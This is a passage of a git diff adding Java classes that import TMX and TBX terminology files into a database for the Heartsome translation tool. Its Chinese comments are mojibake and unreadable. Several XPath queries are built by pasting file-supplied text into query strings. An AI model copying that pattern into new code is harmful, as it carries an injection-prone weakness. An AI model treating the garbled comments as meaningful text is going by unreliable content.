    \n"); + } + + /** + * 将内容写入文件 + * @param string + * @throws UnsupportedEncodingException + * @throws IOException ; + */ + private void writeString(String string) throws UnsupportedEncodingException, IOException { + output.write(string.getBytes(this.encoding)); + } + + /** + * 获å–创建时间 + * @return ; + */ + public String creationDate() { + Calendar calendar = Calendar.getInstance(Locale.US); + String sec = (calendar.get(Calendar.SECOND) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.SECOND); + String min = (calendar.get(Calendar.MINUTE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.MINUTE); + String hour = (calendar.get(Calendar.HOUR_OF_DAY) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.HOUR_OF_DAY); + String mday = (calendar.get(Calendar.DATE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.DATE); + String mon = (calendar.get(Calendar.MONTH) < 9 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + (calendar.get(Calendar.MONTH) + 1); + String longyear = "" + calendar.get(Calendar.YEAR); //$NON-NLS-1$ + + String date = longyear + mon + mday + "T" + hour + min + sec + "Z"; //$NON-NLS-1$ //$NON-NLS-2$ + return date; + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportAbstract.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportAbstract.java new file mode 100644 index 0000000..5c8cf53 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportAbstract.java @@ -0,0 +1,361 @@ +/** + * AbstractImport.java + * + * Version information : + * + * Date:Nov 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.FileNotFoundException; +import java.io.IOException; +import java.sql.SQLException; + +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EOFException; +import com.ximpleware.EncodingException; +import com.ximpleware.EntityException; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public abstract class ImportAbstract { + + /** XML解æžå°è£… */ + protected VTDUtils vu; + + /** 文件类型 */ + protected String fileType; + + /** 导入策略 */ + protected int importStrategy; + + /** æ•°æ®åº“æ“作对象 */ + protected DBOperator dbOperator; + + private Logger logger = LoggerFactory.getLogger(this.getClass()); + + protected IProgressMonitor monitor; + + /*** + * 将已解æžXML文件导入到库中 + * @param srcLang + * TMXæºè¯­è¨€ + * @param vtdUtils + * å°è£…çš„VTD解æžå·¥å…· + * @throws SQLException + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + * ; + * @throws ParseException + * @throws EntityException + * @throws EOFException + * @throws EncodingException + * @throws IOException + * @throws ModifyException + * @throws TranscodeException + */ + protected abstract void executeImport(String srcLang) throws SQLException, NavException, XPathParseException, + XPathEvalException, EncodingException, EOFException, EntityException, ParseException, TranscodeException, + ModifyException, IOException, ImportException; + + /** + * å°†TMX文件导入数æ®åº“中,在执行导入å‰å¯¹æ–‡ä»¶å¤„ç†ä»¥åŠå¯¹éœ€è¦ä½¿ç”¨çš„资æºè¿›è¡Œåˆå§‹åŒ– + * @param fileName + * TMX文件路径 + * @param monitor + * è¿›åº¦æ¡ + * @return ; + * @throws ImportException + */ + public int doImport(String fileName, IProgressMonitor monitor) throws ImportException { + this.monitor = monitor; + // 文件检查 + String message = ""; + try { + if (Constants.TBX.equals(fileType)) { + if ((vu = DocUtils.isTBX(fileName)) == null) { + return FAILURE_1; + } + } else { + if ((vu = DocUtils.isTMX(fileName)) == null) { + return FAILURE_1; + } + // è§£æž header 接点 + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() != -1) { + int id = vu.getVTDNav().getAttrVal("srclang"); + if (id != -1 && "*all*".equalsIgnoreCase(vu.getVTDNav().toString(id).trim())) { + final boolean[] flag = new boolean[1]; + Display.getDefault().syncExec(new Runnable() { + + public void run() { + flag[0] = MessageDialog.openConfirm(Display.getDefault().getActiveShell(), + Messages.getString("document.ImportTmx.title"), + Messages.getString("document.ImportTmx.msg2")); + } + }); + if (!flag[0]) { + return CANCEL; + } + } + } + } catch (VTDException e) { + logger.error("", e); + } + + } + } catch (EncodingException e) { + logger.error(Messages.getString("document.ImportAbstract.logger1"), e); + message = Messages.getString("document.ImportAbstract.msg1"); + throw new ImportException(message + e.getMessage()); + } catch (FileNotFoundException e) { + logger.error(Messages.getString("document.ImportAbstract.logger2"), e); + message = Messages.getString("document.ImportAbstract.msg2"); + throw new ImportException(message + e.getMessage()); + } catch (ParseException e) { + logger.error(Messages.getString("document.ImportAbstract.logger3"), e); + String errMsg = e.getMessage(); + if (errMsg.indexOf("invalid encoding") != -1) { + // ç¼–ç å¼‚常 + message = Messages.getString("document.ImportAbstract.msg1"); + } else { + message = Messages.getString("document.ImportAbstract.msg3"); + } + throw new ImportException(message + e.getMessage()); + } + + try { + dbOperator.beginTransaction(); + executeImport(null); // 执行导入 + dbOperator.commit(); + } catch (XPathParseException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_4; + } catch (XPathEvalException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_4; + } catch (NavException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_2; + } catch (SQLException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return FAILURE_3; + } + return FAILURE_3; + } catch (OperationCanceledException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return CANCEL; + } + return CANCEL; + } catch (ImportException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return FAILURE; + } + throw e; + } + catch (Exception e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return FAILURE; + } + return FAILURE; + } + return SUCCESS; + + } + + /** + * 导入文件内容 + * @param fileContent + * @param srcLang + * @param monitor + * @return ; + */ + public int doImport(String fileContent, String srcLang, IProgressMonitor monitor) { + if (monitor == null) { + this.monitor = new NullProgressMonitor(); + } else { + this.monitor = monitor; + } + + // 解æžæ–‡ä»¶ + VTDGen vg = new VTDGen(); + vg.setDoc(fileContent.getBytes()); + try { + vg.parse(true); + } catch (EncodingException e2) { + e2.printStackTrace(); + } catch (EOFException e2) { + e2.printStackTrace(); + } catch (EntityException e2) { + e2.printStackTrace(); + } catch (ParseException e2) { + e2.printStackTrace(); + } + + try { + vu = new VTDUtils(vg.getNav()); // 构建VTD解æžå·¥å…· + dbOperator.beginTransaction(); + executeImport(srcLang); // 执行导入 + dbOperator.commit(); + } catch (XPathParseException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_4; + } catch (XPathEvalException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_4; + } catch (NavException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e); + return FAILURE_3; + } + return FAILURE_2; + } catch (SQLException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return FAILURE_3; + } + return FAILURE_3; + } catch (OperationCanceledException e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return CANCEL; + } + } catch (Exception e) { + logger.error("", e); + try { + dbOperator.rollBack(); + } catch (SQLException e1) { + logger.error("", e1); + return FAILURE; + } + return FAILURE; + } + return SUCCESS; + } + + /** + * å–å¾—è¯­è¨€ä»£ç  + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + */ + protected String getLang() throws XPathParseException, XPathEvalException, NavException { + String lang = vu.getCurrentElementAttributs().get("xml:lang"); + if (lang == null) { + lang = vu.getCurrentElementAttributs().get("lang"); + } + return Utils.convertLangCode(lang); + } + + /** æˆåŠŸæ ‡å¿— */ + public static final int SUCCESS = 1; + + /** 失败标志 */ + public static final int FAILURE = 0; + + /** ä¸æ˜¯æ­£ç¡®çš„ TMX 或 TBX 文件 */ + public static final int FAILURE_1 = -1; + + /** 解æžæ–‡ä»¶å¤±è´¥ */ + public static final int FAILURE_2 = -2; + + /** æ•°æ®åº“异常 */ + public static final int FAILURE_3 = -3; + + /** XPath 错误 */ + public static final int FAILURE_4 = -4; + + /** å–消标志 */ + public static final int CANCEL = 2; + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportStateCode.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportStateCode.java new file mode 100644 index 0000000..b5be12d --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportStateCode.java @@ -0,0 +1,5 @@ +package net.heartsome.cat.document; + +public enum ImportStateCode { + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTbx.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTbx.java new file mode 100644 index 0000000..c97de41 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTbx.java @@ -0,0 +1,594 @@ +/** + * ImportTbx.java + * + * Version information : + * + * Date:Nov 18, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.IOException; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.OperationCanceledException; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EOFException; +import com.ximpleware.EncodingException; +import com.ximpleware.EntityException; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTbx extends ImportAbstract { + + public ImportTbx(DBOperator tmDatabase, int importMode) { + this.fileType = Constants.TBX; + this.dbOperator = tmDatabase; + this.importStrategy = importMode; + } + + /** + * (non-Javadoc) + * @throws ParseException + * @throws EntityException + * @throws EOFException + * @throws EncodingException + * @throws IOException + * @throws ModifyException + * @throws TranscodeException + * @see net.heartsome.cat.document.ImportAbstract#executeImport(java.lang.String) + */ + @Override + protected void executeImport(String srcLang) throws SQLException, NavException, XPathParseException, + XPathEvalException, EncodingException, EOFException, EntityException, ParseException, TranscodeException, + ModifyException, IOException { + srcLang = Utils.convertLangCode(srcLang); + if (monitor != null) { + int task = vu.getChildElementsCount("/martif/text/body") + vu.getChildElementsCount("/martif/text/back") + + 10; + monitor.beginTask(Messages.getString("document.ImportTbx.task1"), task); + } + int headerPkId = 0; + String sourceLang = null; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/martif"); + Map martifAttr = new HashMap(); + if (ap.evalXPath() != -1) { + martifAttr = vu.getCurrentElementAttributs(); + sourceLang = martifAttr.get("xml:lang"); + if (sourceLang == null) { + sourceLang = martifAttr.get("lang"); + } + } + if (sourceLang == null || sourceLang.equals("")) { + sourceLang = srcLang; + } else { + sourceLang = Utils.convertLangCode(sourceLang); + } + + if (sourceLang == null || sourceLang.equals("*all*") || sourceLang.equals("")) { + if (LocaleService.getLanguage(sourceLang).equals("")) { + throw new NavException(Messages.getString("document.ImportTbx.msg1")); + } + } + + if (monitor != null) { + monitor.worked(5); + } + // 导入Header + ap.selectXPath("/martif/martifHeader"); + if (ap.evalXPath() != -1) { + String hContent = vu.getElementFragment(); + if (hContent != null) { + headerPkId = dbOperator.insertBMartifHeader(hContent, getElementAttribute("id")); + } + } + // TOTO ä¿å­˜martifAttr到BATTRIBUTE表 + dbOperator.insertBAttribute(martifAttr, "martif", headerPkId); + + ap.selectXPath("/martif/text"); + if (ap.evalXPath() != -1) { + Map textAttr = vu.getCurrentElementAttributs(); + dbOperator.insertBAttribute(textAttr, "text", headerPkId); + } + + ap.selectXPath("/martif/body"); + if (ap.evalXPath() != -1) { + Map bodyAttr = vu.getCurrentElementAttributs(); + dbOperator.insertBAttribute(bodyAttr, "body", headerPkId); + } + if (monitor != null) { + monitor.worked(5); + } + + this.saveTermEntry(sourceLang, headerPkId); + + ap.selectXPath("/martif/text/back"); + if (ap.evalXPath() != -1) { + Map backAttr = vu.getCurrentElementAttributs(); + // TODO ä¿å­˜back节点的属性 + dbOperator.insertBAttribute(backAttr, "back", headerPkId); + ap.selectXPath("./refObjectList"); + while (ap.evalXPath() != -1) { + String roblId = getElementAttribute("id"); + String roblContent = vu.getElementFragment(); + // ä¿å­˜refObjectList内容 + dbOperator.insertBRefobjectlist(roblContent, roblId, headerPkId); + if (monitor != null) { + monitor.worked(1); + } + } + } + if (monitor != null) { + monitor.done(); + } + + } + + /** + * 始终增加策略 + * @param headerId + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * @throws SQLException + * ; + */ + private void saveTermEntryWithAdd(int headerId, AutoPilot langSetAp, AutoPilot termAp) throws XPathParseException, + XPathEvalException, NavException, SQLException { + int termEntryPkId = dbOperator.insertBTermentry(vu.getElementFragment(), getElementAttribute("id"), headerId); // å°†TermEntry整个节点写入库中 + + vu.getVTDNav().push(); + while (langSetAp.evalXPath() != -1) { + String lang = getLang(); // èŽ·å– LangSet节点下的语言 + String pureText = ""; + String fullText = ""; + // å–LangSet节点下的Term节点内容 + vu.getVTDNav().push(); + while (termAp.evalXPath() != -1) { + pureText = DocUtils.getTmxTbxPureText(vu); + fullText = vu.getElementContent(); + // TODO å°†langSet节点中的term节点内容写入Textdata表中 + String hash = null; // 当pureText为空字符串时,HASH字段留空 + if (pureText != null) { + hash = "" + pureText.hashCode(); + } + dbOperator.insertTextData("B", termEntryPkId, hash, pureText, fullText, lang, null, null); + + } + termAp.resetXPath(); + vu.getVTDNav().pop(); + } + langSetAp.resetXPath(); + vu.getVTDNav().pop(); + AutoPilot noteAp = new AutoPilot(vu.getVTDNav()); + noteAp.selectXPath("./note"); + vu.getVTDNav().push(); + while (noteAp.evalXPath() != -1) { + String content = vu.getElementContent(); + String id = vu.getCurrentElementAttribut("id", ""); + if (id.equals("") || content == null || content.equals("")) { + continue; + } + dbOperator.insertBNode(termEntryPkId, "termEntry", "E", "note", id, content); + } + vu.getVTDNav().pop(); + } + + /** + * 覆盖或者忽略 + * @param headerId + * ; + * @throws SQLException + * @throws NavException + * @throws XPathEvalException + * @throws XPathParseException + * @throws ParseException + * @throws EntityException + * @throws EOFException + * @throws EncodingException + * @throws IOException + * @throws ModifyException + * @throws TranscodeException + */ + private void saveTermEntry(String srcLang, int headerId) throws XPathParseException, XPathEvalException, + NavException, SQLException, EncodingException, EOFException, EntityException, ParseException, + TranscodeException, ModifyException, IOException { + + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/martif/text/body/termEntry"); // term entry + + AutoPilot _ap = new AutoPilot(vu.getVTDNav()); + _ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + _ap.selectXPath("./langSet[@xml:lang='" + srcLang + "']/tig/term|./ntig/termGrp/term"); // langSet == sourceLang + + AutoPilot langSetAp = new AutoPilot(vu.getVTDNav()); + langSetAp.selectXPath("./langSet"); + + AutoPilot termAp = new AutoPilot(vu.getVTDNav()); + termAp.selectXPath("./tig/term|./ntig/termGrp/term"); // Term + + List textDataIds = new ArrayList(); + while (ap.evalXPath() != -1) { // 循环termEntry节点 + if (monitor != null && monitor.isCanceled()) { + throw new OperationCanceledException(); + } + + if (importStrategy == Constants.IMPORT_MODEL_ALWAYSADD) { // å§‹ç»ˆå¢žåŠ æ¨¡å¼ + saveTermEntryWithAdd(headerId, langSetAp, termAp); + if (monitor != null) { + monitor.worked(1); + } + continue; + } + + // 判断该TermEntry节点是å¦é‡å¤ + vu.getVTDNav().push(); + while (_ap.evalXPath() != -1) { + String pureText = DocUtils.getTmxTbxPureText(vu); + pureText = pureText.trim(); + textDataIds = dbOperator.getTextDataId(pureText.hashCode(), Utils.convertLangCode(srcLang), "B"); + if (textDataIds.size() > 0) { // 当å‰TermEntryé‡å¤ + break; + } + } + _ap.resetXPath(); + vu.getVTDNav().pop(); + // System.out.println(textDataIds); + if (textDataIds.size() == 0) { // 在库中没有é‡å¤çš„TermEntry + saveTermEntryWithAdd(headerId, langSetAp, termAp); + } else { + if (importStrategy == Constants.IMPORT_MODEL_IGNORE) { // 忽略当å‰TermEntry + if (monitor != null) { + monitor.worked(1); + } + continue; + } else { // åˆå¹¶ + List termEntryPks = new ArrayList(); + termEntryPks = dbOperator.getTextDataGroupIdByTextId(textDataIds); // 获å–æºæ–‡ç›¸åŒçš„TermEntry Pk + // System.out.println(termEntryPks); + List> dbTermEntrys = dbOperator.getBTermEntryByPk(termEntryPks); // 获å–TermEntry的内容 + if (dbTermEntrys.size() == 1) { // 在库中åªæœ‰ä¸€ä¸ªTermEntry和当å‰TermEntryé‡å¤ + if (importStrategy == Constants.IMPORT_MODEL_MERGE) { + saveTermEntryWithMerge(dbTermEntrys.get(0), langSetAp, termAp); + } else if (importStrategy == Constants.IMPORT_MODEL_OVERWRITE) { + saveTermEntryWithOverwrite(dbTermEntrys.get(0), langSetAp, termAp); + } + } else { + boolean updateflag = false;// 标记是å¦å·²ç»æ‰§è¡Œè¿‡æ›´æ–° + for (int i = 0; i < dbTermEntrys.size(); i++) { + Map dbTermEntry = dbTermEntrys.get(i); + if (dbTermEntry.get("CID").equals(getElementAttribute("id"))) { + updateflag = true; + if (importStrategy == Constants.IMPORT_MODEL_MERGE) { + saveTermEntryWithMerge(dbTermEntry, langSetAp, termAp); + } else if (importStrategy == Constants.IMPORT_MODEL_OVERWRITE) { + saveTermEntryWithOverwrite(dbTermEntry, langSetAp, termAp); + } + } + } + if (!updateflag) { // 没有执行更新,å³æ²¡æœ‰åœ¨åº“中找到和当å‰TermEntry ID一样的 + saveTermEntryWithAdd(headerId, langSetAp, termAp); + } + } + } + } + if (monitor != null) { + monitor.worked(1); + } + } + } + + private void saveTermEntryWithMerge(Map dbTermEntry, AutoPilot langSetAp, AutoPilot termAp) + throws XPathParseException, XPathEvalException, NavException, SQLException, EncodingException, + EOFException, EntityException, ParseException, TranscodeException, ModifyException, IOException { + String content = dbTermEntry.get("CONTENT"); + String termEntryPk = dbTermEntry.get("BTEPKID"); + boolean changFlag = false; // content修改标记 + + VTDGen vg = new VTDGen(); + VTDUtils vtdUtiles = new VTDUtils(); + vg.setDoc(content.getBytes()); + vg.parse(true); + vtdUtiles.bind(vg.getNav()); + + AutoPilot _ap = new AutoPilot(vtdUtiles.getVTDNav()); + if (!content.equals(vu.getElementFragment())) { + vu.getVTDNav().push(); + while (langSetAp.evalXPath() != -1) { + String curlang = getElementAttribute("xml:lang"); + String tigValue = vu.getChildContent("tig"); + String ntigValue = vu.getChildContent("ntig"); + + vtdUtiles.getVTDNav().push(); + _ap.selectXPath("/termEntry/langSet[@xml:lang='" + curlang + "']"); + if (_ap.evalXPath() != -1) { // 当语言的langSet在库中是å¦å­˜åœ¨ + vu.getVTDNav().push(); + while (termAp.evalXPath() != -1) { + String fullText = vu.getElementContent(); + String pureText = DocUtils.getTmxTbxPureText(vu); + + vtdUtiles.getVTDNav().push(); + _ap.selectXPath("./tig[term='" + fullText + "']|./ntig/termGrp[term='" + fullText + "']"); + if (_ap.evalXPath() == -1) { + XMLModifier xm = null; + if (tigValue != null) { + xm = vtdUtiles.insert("/termEntry/langSet[@xml:lang='" + curlang + "']/tig", "" + + tigValue + ""); + } else if (ntigValue != null) { + xm = vtdUtiles.insert("/termEntry/langSet[@xml:lang='" + curlang + "']/tig", "" + + ntigValue + ""); + } + vtdUtiles.bind(xm.outputAndReparse()); + + String hash = null; // 当pureText为空字符串时,HASH字段留空 + if (pureText != null) { + hash = "" + pureText.hashCode(); + } + dbOperator.insertTextData("B", Integer.parseInt(termEntryPk), hash, pureText, fullText, + Utils.convertLangCode(curlang), null, null); + + changFlag = true; + } + _ap.resetXPath(); + vtdUtiles.getVTDNav().pop(); + } + termAp.resetXPath(); + vu.getVTDNav().pop();// + } else { + // 库中ä¸å­˜åœ¨è¯¥ç§è¯­è¨€çš„langSet,则新增 + XMLModifier xm = vtdUtiles.insert("/termEntry/langSet", vu.getElementFragment()); + vtdUtiles.bind(xm.outputAndReparse()); + changFlag = true; + vu.getVTDNav().push(); + if (termAp.evalXPath() != -1) { + String fullText = vu.getElementContent(); + String pureText = DocUtils.getTmxTbxPureText(vu); + String hash = null; // 当pureText为空字符串时,HASH字段留空 + if (pureText != null) { + hash = "" + pureText.hashCode(); + } + dbOperator.insertTextData("B", Integer.parseInt(termEntryPk), hash, pureText, fullText, + Utils.convertLangCode(curlang), null, null); + } + termAp.resetXPath(); + vu.getVTDNav().pop(); + } + vtdUtiles.getVTDNav().pop(); + } + langSetAp.resetXPath(); + vu.getVTDNav().pop(); + + // 处ç†note + List existDbNoteId = new ArrayList(); + List existDbNotePk = new ArrayList(); + List noteIdRm = new ArrayList(); // 用于记录已ç»å¤„ç†çš„noteId,过滤掉文件é‡å¤çš„内容 + StringBuffer noteContentBf = new StringBuffer(); + AutoPilot noteAp = new AutoPilot(vu.getVTDNav()); + vu.getVTDNav().push(); + noteAp.selectXPath("./note"); + while (noteAp.evalXPath() != -1) { + String noteId = vu.getCurrentElementAttribut("id", ""); + String noteContent = vu.getElementContent(); + if (noteId.equals("") || noteContent == null || noteContent.equals("")) { + continue; + } + + String[] ids = noteId.split(","); + if (ids.length != 2) { + continue; + } + + String reNoteId = ids[1] + "," + ids[0]; + if (noteIdRm.contains(noteId) || noteIdRm.contains(reNoteId)) { + continue; // é‡å¤ä¸é‡å¤å†™å…¥ + } + noteIdRm.add(noteId); // 记录已ç»å¤„ç†çš„note + + AutoPilot dbNoteAp = new AutoPilot(vtdUtiles.getVTDNav()); + dbNoteAp.selectXPath("/termEntry/note[@id='" + noteId + "' or @id='" + reNoteId + "']"); + while (dbNoteAp.evalXPath() != -1) { + String dbNoteId = vtdUtiles.getCurrentElementAttribut("id", ""); + if (!existDbNoteId.contains(dbNoteId)) { + existDbNoteId.add(dbNoteId); + } + List> result = dbOperator.getBNodeByParent(termEntryPk, "termEntry", "E", + "note", dbNoteId); + for (Map map : result) { + existDbNotePk.add(map.get("NPKID")); + } + } + dbOperator.insertBNode(Integer.parseInt(termEntryPk), "termEntry", "E", "note", noteId, noteContent); + noteContentBf.append(vu.getElementFragment()); + } + vu.getVTDNav().pop(); + + if (existDbNotePk.size() > 0) { + dbOperator.deleteBNode(existDbNotePk); + } + + StringBuffer xpathWhere = new StringBuffer(); + for (String dbNodeId : existDbNoteId) { + xpathWhere.append("@id='" + dbNodeId + "' or "); + } + + if (xpathWhere.length() > 0) { + String xpath = xpathWhere.substring(0, xpathWhere.lastIndexOf("or")); + XMLModifier xm = vtdUtiles.delete("/termEntry/note[" + xpath + "]", VTDUtils.PILOT_TO_END); // 清除文件中的note + vtdUtiles.bind(xm.outputAndReparse()); + changFlag = true; + } + if (noteContentBf.length() != 0) { + XMLModifier xm = vtdUtiles.insert("/termEntry/text()", noteContentBf.toString()); + vtdUtiles.bind(xm.outputAndReparse()); + changFlag = true; + } + if (changFlag) { + dbOperator.updateTermEntry(vtdUtiles.getElementFragment(), termEntryPk); + } + } + + } + + private void saveTermEntryWithOverwrite(Map dbTermEntry, AutoPilot langSetAp, AutoPilot termAp) + throws XPathParseException, XPathEvalException, NavException, SQLException, EncodingException, + EOFException, EntityException, ParseException, TranscodeException, ModifyException, IOException { + + VTDGen vg = new VTDGen(); + VTDUtils vtdUtiles = new VTDUtils(); + String content = dbTermEntry.get("CONTENT"); + String termEntryPk = dbTermEntry.get("BTEPKID"); + if (!content.equals(vu.getElementFragment())) { + String prelang = ""; + vu.getVTDNav().push(); + while (langSetAp.evalXPath() != -1) { + String curlang = getElementAttribute("xml:lang"); + String langSetValue = vu.getElementFragment(); + vg.setDoc(content.getBytes()); + vg.parse(true); + vtdUtiles.bind(vg.getNav()); + if (!prelang.endsWith(curlang)) { + prelang = curlang; + dbOperator.deleteTerm(termEntryPk, curlang); + XMLModifier xm = vtdUtiles.delete("/termEntry/langSet[@xml:lang='" + curlang + "']", + VTDUtils.PILOT_TO_END); + vtdUtiles.bind(xm.outputAndReparse()); + } + XMLModifier xm = vtdUtiles.insert("/termEntry/langSet", langSetValue); + vtdUtiles.bind(xm.outputAndReparse()); + + vu.getVTDNav().push(); + while (termAp.evalXPath() != -1) { + String pureText = DocUtils.getTmxTbxPureText(vu); + String fullText = vu.getElementContent(); + String hash = null; // 当pureText为空字符串时,HASH字段留空 + if (pureText != null) { + hash = "" + pureText.hashCode(); + } + dbOperator.insertTextData("B", Integer.parseInt(termEntryPk), hash, pureText, fullText, + Utils.convertLangCode(curlang), null, null); + } + termAp.resetXPath(); + vu.getVTDNav().pop(); + } + langSetAp.resetXPath(); + vu.getVTDNav().pop(); + + // 处ç†note + + List existDbNoteId = new ArrayList(); + List existDbNotePk = new ArrayList(); + List noteIdRm = new ArrayList(); // 用于记录已ç»å¤„ç†çš„noteId,过滤掉文件é‡å¤çš„内容 + StringBuffer noteContentBf = new StringBuffer(); + AutoPilot noteAp = new AutoPilot(vu.getVTDNav()); + vu.getVTDNav().push(); + noteAp.selectXPath("./note"); + while (noteAp.evalXPath() != -1) { + String noteId = vu.getCurrentElementAttribut("id", ""); + String noteContent = vu.getElementContent(); + if (noteId.equals("") || noteContent == null || noteContent.equals("")) { + continue; + } + + String[] ids = noteId.split(","); + if (ids.length != 2) { + continue; + } + + String reNoteId = ids[1] + "," + ids[0]; + if (noteIdRm.contains(noteId) || noteIdRm.contains(reNoteId)) { + continue; // é‡å¤ä¸é‡å¤å†™å…¥ + } + noteIdRm.add(noteId); // 记录已ç»å¤„ç†çš„note + + AutoPilot dbNoteAp = new AutoPilot(vtdUtiles.getVTDNav()); + dbNoteAp.selectXPath("/termEntry/note[@id='" + noteId + "' or @id='" + reNoteId + "']"); + while (dbNoteAp.evalXPath() != -1) { + String dbNoteId = vtdUtiles.getCurrentElementAttribut("id", ""); + if (!existDbNoteId.contains(dbNoteId)) { + existDbNoteId.add(dbNoteId); + } + List> result = dbOperator.getBNodeByParent(termEntryPk, "termEntry", "E", + "note", dbNoteId); + for (Map map : result) { + existDbNotePk.add(map.get("NPKID")); + } + } + dbOperator.insertBNode(Integer.parseInt(termEntryPk), "termEntry", "E", "note", noteId, noteContent); + noteContentBf.append(vu.getElementFragment()); + } + + if (existDbNotePk.size() > 0) { + dbOperator.deleteBNode(existDbNotePk); + } + + StringBuffer xpathWhere = 